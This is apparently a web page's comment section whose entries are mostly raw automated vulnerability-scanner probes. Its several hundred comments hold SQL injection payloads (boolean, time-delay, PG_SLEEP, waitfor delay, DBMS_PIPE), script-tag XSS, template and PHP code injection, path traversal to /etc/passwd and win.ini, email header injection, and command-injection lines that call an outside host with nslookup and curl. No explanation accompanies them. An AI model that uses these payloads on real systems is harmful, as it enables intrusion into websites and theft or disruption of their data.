479条评论

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  -1 OR 2+394-394-1=0+0+0+1 --

• 

  -1 OR 2+792-792-1=0+0+0+1

• 

  -1' OR 2+293-293-1=0+0+0+1 --

• 

  -1' OR 2+900-900-1=0+0+0+1 or 'lnIZjrqF'='

• 

  -1" OR 2+85-85-1=0+0+0+1 --

• 

  if(now()=sysdate(),sleep(15),0)

• 

  0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 

  0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 

  0"XOR(if(now()=sysdate(),sleep(62),0))XOR"Z

• 

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 

  -1; waitfor delay '0:0:15' --

• 

  -1; waitfor delay '0:0:31' --

• 

  -1); waitfor delay '0:0:15' --

• 

  -1); waitfor delay '0:0:15' --

• 

  -1)); waitfor delay '0:0:15' --

• 

  1 waitfor delay '0:0:15' --

• 

  dlMamqWs'; waitfor delay '0:0:15' --

• 

  WkTlMA7z'); waitfor delay '0:0:15' --

• 

  Ot8zNXXu')); waitfor delay '0:0:15' --

• 

  urAadoIy')); waitfor delay '0:0:62' --

• 

  -5 OR 696=(SELECT 696 FROM PG_SLEEP(15))--

• 

  -5) OR 861=(SELECT 861 FROM PG_SLEEP(15))--

• 

  -1)) OR 209=(SELECT 209 FROM PG_SLEEP(15))--

• 

  rFKi1cRG' OR 914=(SELECT 914 FROM PG_SLEEP(15))--

• 

  6C3fgMjp') OR 687=(SELECT 687 FROM PG_SLEEP(15))--

• 

  TVArv4P3')) OR 407=(SELECT 407 FROM PG_SLEEP(15))--

• 

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 

  1'"

• 

  1����%2527%2522

• 

  @@BWQJJ

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  EjjOnIzm

• 

  -1 OR 2+423-423-1=0+0+0+1 --

• 

  -1 OR 2+276-276-1=0+0+0+1

• 

  -1' OR 2+326-326-1=0+0+0+1 --

• 

  1

• 

  -1' OR 2+182-182-1=0+0+0+1 or 'R2dgnGHO'='

• 

  1

• 

  -1" OR 2+752-752-1=0+0+0+1 --

• 

  if(now()=sysdate(),sleep(15),0)

• 

  0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 

  0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 

  -1; waitfor delay '0:0:15' --

• 

  -1); waitfor delay '0:0:15' --

• 

  -1)); waitfor delay '0:0:15' --

• 

  1 waitfor delay '0:0:15' --

• 

  dSXz0zsv'; waitfor delay '0:0:15' --

• 

  YUsbUb2i'); waitfor delay '0:0:15' --

• 

  YoAcPh3q')); waitfor delay '0:0:15' --

• 

  -5 OR 150=(SELECT 150 FROM PG_SLEEP(15))--

• 

  1

• 

  -5) OR 692=(SELECT 692 FROM PG_SLEEP(15))--

• 

  1

• 

  -1)) OR 835=(SELECT 835 FROM PG_SLEEP(15))--

• 

  42fTagp6

• 

  -1 OR 2+761-761-1=0+0+0+1 --

• 

  6YTdbMGM' OR 459=(SELECT 459 FROM PG_SLEEP(15))--

• 

  -1 OR 2+477-477-1=0+0+0+1

• 

  -1' OR 2+323-323-1=0+0+0+1 --

• 

  -1' OR 2+813-813-1=0+0+0+1 or '7DDNaBBp'='

• 

  -1" OR 2+711-711-1=0+0+0+1 --

• 

  R7kfSSfM') OR 380=(SELECT 380 FROM PG_SLEEP(15))--

• 

  if(now()=sysdate(),sleep(15),0)

• 

  stgRKEzl')) OR 147=(SELECT 147 FROM PG_SLEEP(15))--

• 

  0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 

  0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 

  1'"

• 

  1����%2527%2522

• 

  @@PLAdQ

• 

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 

  -1; waitfor delay '0:0:15' --

• 

  -1); waitfor delay '0:0:15' --

• 

  -1)); waitfor delay '0:0:15' --

• 

  1 waitfor delay '0:0:15' --

• 

  pssXKnfx'; waitfor delay '0:0:15' --

• 

  NzSttJtO'); waitfor delay '0:0:15' --

• 

  PciOTezO')); waitfor delay '0:0:15' --

• 

  -5 OR 119=(SELECT 119 FROM PG_SLEEP(15))--

• 

  -5) OR 586=(SELECT 586 FROM PG_SLEEP(15))--

• 

  -1)) OR 143=(SELECT 143 FROM PG_SLEEP(15))--

• 

  2zqPNvEh' OR 612=(SELECT 612 FROM PG_SLEEP(15))--

• 

  jsxNeVyD') OR 463=(SELECT 463 FROM PG_SLEEP(15))--

• 

  O34OXIsy')) OR 224=(SELECT 224 FROM PG_SLEEP(15))--

• 

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 

  1'"

• 

  1����%2527%2522

• 

  @@RQOOj

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1DXelnX5QAO

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  /../../../../../../../../../../windows/system32/BITSADMIN.exe

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1%0abcc:009247.1149-102914.1149.19c66.20143.2@bxss.me

• 

  1%0abcc:009247.1149-102914.1149.19c66.20143.2@bxss.me

• 

  1<esi:include src="http://bxss.me/rpb.png"/>

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  to@example.com>%0d%0abcc:009247.1149-102915.1149.19c66.20143.2@bxss.me

• 

  1

• 

  1

• 

  12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

• 

  1

• 

  response.write(9045059*9464318)

• 

  ${10000056+10000148}

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  '+response.write(9045059*9464318)+'

• 

  1

• 

  1

• 

  1

• 

  1

• 

  "+response.write(9045059*9464318)+"

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  )

• 

  1

• 

  !(()&&!|*|*|

• 

  1

• 

  ^(#$!@#$)(()))******

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  '.gethostbyname(lc('hitrz'.'mkrdrwef16932.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(72).chr(111).chr(70).'

• 

  1

• 

  1

• 

  1

• 

  1

• 

  ".gethostbyname(lc("hitzq"."dbxlpcgf7abd2.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(82).chr(115).chr(82)."

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  HttP://bxss.me/t/xss.html?%00

• 

  1

• 

  1

• 

  1

• 

  bxss.me/t/xss.html?%00

• 

  1

• 

  "+"A".concat(70-3).concat(22*4).concat(109).concat(72).concat(110).concat(85)+(require"socket" Socket.gethostbyname("hitti"+"rvmxvmyleeb45.bxss.me.")[3].to_s)+"

• 

  1

• 

  1

• 

  1

• 

  ../../../../../../../../../../../../../../etc/passwd

• 

  1

• 

  1

• 

  1

• 

  http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

• 

  1

• 

  ../../../../../../../../../../../../../../windows/win.ini

• 

  1

• 

  1

• 

  1

• 

  '+'A'.concat(70-3).concat(22*4).concat(113).concat(79).concat(103).concat(88)+(require'socket' Socket.gethostbyname('hiths'+'hudxqhwc837bd.bxss.me.')[3].to_s)+'

• 

  1

• 

  1

• 

  '+'A'.concat(70-3).concat(22*4).concat(113).concat(79).concat(103).concat(88)+(require'socket' Socket.gethostbyname('hiths'+'hudxqhwc837bd.bxss.me.')[3].to_s)+'

• 

  file:///etc/passwd

• 

  1

• 

  1

• 

  ../1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

• 

  1

• 

  1

• 

  Http://bxss.me/t/fit.txt

• 

  1

• 

  http://bxss.me/t/fit.txt%3F.jpg

• 

  1

• 

  /etc/shells

• 

  1

• 

  c:/windows/win.ini

• 

  1

• 

  bxss.me

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  xfs.bxss.me

• 

  1

• 

  1

• 

  1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

• 

  1

• 

  1

• 

  1

• 

  '"

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  <!--

• 

  1

• 

  1

• 

  1

• 

  1

• 

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 

  1

• 

  ';print(md5(31337));$a='

• 

  ";print(md5(31337));$a="

• 

  ${@print(md5(31337))}

• 

  ${@print(md5(31337))}\

• 

  '.print(md5(31337)).'

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  '"()

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1'&&sleep(27*1000)*yqlqst&&'

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1"&&sleep(27*1000)*ohoomm&&"

• 

  1

• 

  1'||sleep(27*1000)*uljxfy||'

• 

  1

• 

  1

• 

  echo uehjpq$()\ xkimqd\nz^xyu||a #' &echo uehjpq$()\ xkimqd\nz^xyu||a #|" &echo uehjpq$()\ xkimqd\nz^xyu||a #

• 

  1

• 

  1

• 

  &echo xniaow$()\ fogaxp\nz^xyu||a #' &echo xniaow$()\ fogaxp\nz^xyu||a #|" &echo xniaow$()\ fogaxp\nz^xyu||a #

• 

  1&echo otuefn$()\ emvctu\nz^xyu||a #' &echo otuefn$()\ emvctu\nz^xyu||a #|" &echo otuefn$()\ emvctu\nz^xyu||a #

• 

  1

• 

  1"||sleep(27*1000)*tksfiz||"

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  |echo kulgoi$()\ ihpxms\nz^xyu||a #' |echo kulgoi$()\ ihpxms\nz^xyu||a #|" |echo kulgoi$()\ ihpxms\nz^xyu||a #

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1|echo yvmuwc$()\ fgzkhi\nz^xyu||a #' |echo yvmuwc$()\ fgzkhi\nz^xyu||a #|" |echo yvmuwc$()\ fgzkhi\nz^xyu||a #

• 

  1

• 

  (nslookup -q=cname hitflzozeuvknaed4f.bxss.me||curl hitflzozeuvknaed4f.bxss.me))

• 

  $(nslookup -q=cname hitrnhhmxsyvk7c1a8.bxss.me||curl hitrnhhmxsyvk7c1a8.bxss.me)

• 

  1

• 

  &nslookup -q=cname hitoccwzskevt48279.bxss.me&'\"`0&nslookup -q=cname hitoccwzskevt48279.bxss.me&`'

• 

  1

• 

  &(nslookup -q=cname hitfutsqulzye184e1.bxss.me||curl hitfutsqulzye184e1.bxss.me)&'\"`0&(nslookup -q=cname hitfutsqulzye184e1.bxss.me||curl hitfutsqulzye184e1.bxss.me)&`'

• 

  |(nslookup -q=cname hitqlrakmkjfl9cf4a.bxss.me||curl hitqlrakmkjfl9cf4a.bxss.me)

• 

  `(nslookup -q=cname hitxssmugypumf203c.bxss.me||curl hitxssmugypumf203c.bxss.me)`

• 

  ;(nslookup -q=cname hitzsdriornxj98e8a.bxss.me||curl hitzsdriornxj98e8a.bxss.me)|(nslookup -q=cname hitzsdriornxj98e8a.bxss.me||curl hitzsdriornxj98e8a.bxss.me)&(nslookup -q=cname hitzsdriornxj98e8a.bxss.me||curl hitzsdriornxj98e8a.bxss.me)

• 

  1

• 

  1

• 

  1

• 

  1

• 

  SKTR7UTL

• 

  -1 OR 2+39-39-1=0+0+0+1 --

• 

  1

• 

  -1 OR 2+259-259-1=0+0+0+1

• 

  -1' OR 2+548-548-1=0+0+0+1 --

• 

  -1' OR 2+575-575-1=0+0+0+1 or 'CldJzPKu'='

• 

  -1" OR 2+838-838-1=0+0+0+1 --

• 

  1'"()&%<zzz><ScRiPt >7gvY(9636)</ScRiPt>

• 

  '"()&%<zzz><ScRiPt >7gvY(9966)</ScRiPt>

• 

  19589464

• 

  if(now()=sysdate(),sleep(15),0)

• 

  bfg1556%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl1556

• 

  bfg1556%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl1556

• 

  bfgx6637%C0%BEz1%C0%BCz2a%90bcxhjl6637

• 

  <%={{={@{#{${dfb}}%>

• 

  1

• 

  <th:t="${dfb}#foreach

• 

  1

• 

  1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

• 

  if(now()=sysdate(),sleep(15),0)

• 

  if(now()=sysdate(),sleep(3),0)

• 

  dfb{{98991*97996}}xca

• 

  dfb[[${98991*97996}]]xca

• 

  if(now()=sysdate(),sleep(0),0)

• 

  dfb__${98991*97996}__::.x

• 

  "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

• 

  1<ScRiPt >7gvY(9888)</ScRiPt>

• 

  0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

• 

  0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z

• 

  0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

• 

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• 

  1

• 

  -1; waitfor delay '0:0:15' --

• 

  -1); waitfor delay '0:0:15' --

• 

  -1)); waitfor delay '0:0:15' --

• 

  1 waitfor delay '0:0:15' --

• 

  XqCTMEkK'; waitfor delay '0:0:15' --

• 

  8f6D3ket'); waitfor delay '0:0:15' --

• 

  vZf1BeI5')); waitfor delay '0:0:15' --

• 

  AEkCgK3j')); waitfor delay '0:0:15' --

• 

  -5 OR 69=(SELECT 69 FROM PG_SLEEP(15))--

• 

  -5) OR 575=(SELECT 575 FROM PG_SLEEP(15))--

• 

  -1)) OR 621=(SELECT 621 FROM PG_SLEEP(15))--

• 

  ZnQPjaCY' OR 432=(SELECT 432 FROM PG_SLEEP(15))--

• 

  1

• 

  bPgwcjA3') OR 547=(SELECT 547 FROM PG_SLEEP(15))--

• 

  cVFEngxw')) OR 616=(SELECT 616 FROM PG_SLEEP(15))--

• 

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• 

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• 

  1'"

• 

  1����%2527%2522

• 

  @@HTxUy

• 

  1

• 

  1

• 

  if(now()=sysdate(),sleep(6),0)

• 

  1

• 

  1

• 

  bfg1556%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl1556

• 

  -1' OR 2+575-575-1=0+0+0+1 or 'CldJzPKu'='

• 

  -1' OR 2+575-575-1=0+0+0+1 or 'CldJzPKu'='

• 

  ;(nslookup -q=cname hitzsdriornxj98e8a.bxss.me||curl hitzsdriornxj98e8a.bxss.me)|(nslookup -q=cname hitzsdriornxj98e8a.bxss.me||curl hitzsdriornxj98e8a.bxss.me)&(nslookup -q=cname hitzsdriornxj98e8a.bxss.me||curl hitzsdriornxj98e8a.bxss.me)

• 

  &(nslookup -q=cname hitfutsqulzye184e1.bxss.me||curl hitfutsqulzye184e1.bxss.me)&'\"`0&(nslookup -q=cname hitfutsqulzye184e1.bxss.me||curl hitfutsqulzye184e1.bxss.me)&`'

• 

  &(nslookup -q=cname hitfutsqulzye184e1.bxss.me||curl hitfutsqulzye184e1.bxss.me)&'\"`0&(nslookup -q=cname hitfutsqulzye184e1.bxss.me||curl hitfutsqulzye184e1.bxss.me)&`'

• 

  1"&&sleep(27*1000)*ohoomm&&"

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1

• 

  1|echo yvmuwc$()\ fgzkhi\nz^xyu||a #' |echo yvmuwc$()\ fgzkhi\nz^xyu||a #|" |echo yvmuwc$()\ fgzkhi\nz^xyu||a #

• 

  |echo kulgoi$()\ ihpxms\nz^xyu||a #' |echo kulgoi$()\ ihpxms\nz^xyu||a #|" |echo kulgoi$()\ ihpxms\nz^xyu||a #

• 

  1"||sleep(27*1000)*tksfiz||"

• 

  echo uehjpq$()\ xkimqd\nz^xyu||a #' &echo uehjpq$()\ xkimqd\nz^xyu||a #|" &echo uehjpq$()\ xkimqd\nz^xyu||a #

• 

  echo uehjpq$()\ xkimqd\nz^xyu||a #' &echo uehjpq$()\ xkimqd\nz^xyu||a #|" &echo uehjpq$()\ xkimqd\nz^xyu||a #

• 

  ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

• 

  1

写评论

登录 sign in 参与讨论.

用昵称立刻参与讨论